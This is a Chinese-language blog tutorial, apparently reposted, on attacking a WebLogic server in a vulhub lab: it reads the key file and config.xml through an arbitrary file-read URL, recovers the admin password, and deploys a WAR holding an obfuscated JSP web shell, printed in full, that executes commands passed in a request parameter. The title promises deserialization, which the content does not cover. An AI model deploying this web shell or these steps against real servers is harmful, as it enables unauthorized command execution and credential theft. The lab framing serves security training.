Weblogic反序列化漏洞

文章目录

1、搭建环境

漏洞环境基于vulhub搭建--进入weak_password的docker环境

sudo docker-compose up -d拉取靶场

2、漏洞特征

404特征Weblogic常用端口:7001

3、漏洞利用

任意读取文件、后台getshell,访问/console/login/LoginForm.jsp后缀来到后台管理处

获取用户名密码

http://192.168.25.128:7001/console/login/LoginForm.jsp

1)获取用户名密码

使用任意读取文件方式获取用户名密码

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml

开启bp,端口后拼接/hello/file.jsp?path=security/SerializedSystemIni.dat

http://192.168.25.128:7001/hello/file.jsp?path=security/SerializedSystemIni.dat

切换到16进制,选择以上文字存到一个SerializedSystemIni.dat

在这里插入图片描述

注意:SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:

密钥文件:SerializedSystemIni.dat

访问http://ip:7001/hello/file.jsp?path=config/config.xml,其中的

的值,即为加密后的管理员密码

http://192.168.25.128:7001/hello/file.jsp?path=config/config.xml

{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=

获取用户名密码:weblogic、Oracle@123

2)后台上传shell

前提:使用刚刚任意文件读取获取到的账号密码登录成功

上传路径:域结构-部署-安装-上传文件-将此部署安装为应用程序。然后访问项目名称即可。

最后访问的路径是

将包含类似于

powershell 复制代码
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!public String HMfR(String yOK){String aAh="";for (int i = 0; i < yOK.length(); i++) {aAh+=(char)(yOK.charAt(i)+6);}return aAh;}
%>
<% String yiO=request.getParameter("websafe");if(yiO!=null){ Class tJIi = Class.forName(HMfR("d[p[(f[ha(Lohncg_"));
Process Mdlz = (Process) tJIi.getMethod(HMfR("_r_]"), String.class).invoke(tJIi.getMethod(HMfR("a_nLohncg_")).invoke(null),yiO);
java.io.InputStream in = Mdlz.getInputStream();byte[] PYp = new byte[2048];out.print("<pre>");while(in.read(PYp)!=-1){ out.println(new String(PYp)); }out.print("</pre>"); }
%>

shell.jsp,将其压缩为 shell.zip,然后重命名为 shell.war

选中war包并点击下一步上传--上传成功

war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。war包放置到web目录下之后,可以自动解压,就相当于发布了简单来说,war包是JavaWeb程序打的包,war包里面包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括html,jsp等等。一个war包可以理解为是一个web项目,里面是项目的所有东西

一直点下一步

浏览器访问http://192.168.25.128:7001/shell/shell.jsp?websafe=ifconfig

发现输出信息,说明可以shell可用,可以执行命令

4、检测工具

Java反序列化漏洞利用工具V1.7.jar

相关推荐
穷儒公羊1 个月前
第三十八章 Spring之假如让你来写MVC——适配器篇
spring·servlet·mvc·web·jsp
穷儒公羊1 个月前
第三十六章 Spring之假如让你来写MVC——拦截器篇
java·后端·spring·servlet·mvc·jsp
Heavydrink1 个月前
监听器与RBAC权限模型
javaweb·jsp
敲代码娶不了六花2 个月前
jsp | servlet | spring forEach读取不了对象List
java·spring·servlet·tomcat·list·jsp
牛牛网络2 个月前
过滤器和Ajax异步请求详解
java·web·jsp
Minyy112 个月前
Ajax--实现检测用户名是否存在功能
java·前端·javascript·ajax·jsp
阿哈833 个月前
y20030034 微信小程序+java+jsp+servlet+mysql+电子设备回收小程序 源码 配置 文档
java·mysql·servlet·微信小程序·小程序·jsp
岁岁岁平安3 个月前
JavaWeb实战(1)(重点:分页查询、jstl标签与jsp、EL表达式、Bootstrap组件搭建页面、jdbc)
java·servlet·javaweb·jsp·el·分页查询·jstl
PleaSure乐事3 个月前
JS/JSP/JSX的区别与关联
前端·javascript·react.js·前端框架·jsp·jsx
B1nna3 个月前
SpringMVC学习记录(三)之响应数据
java·学习·json·springmvc·jsp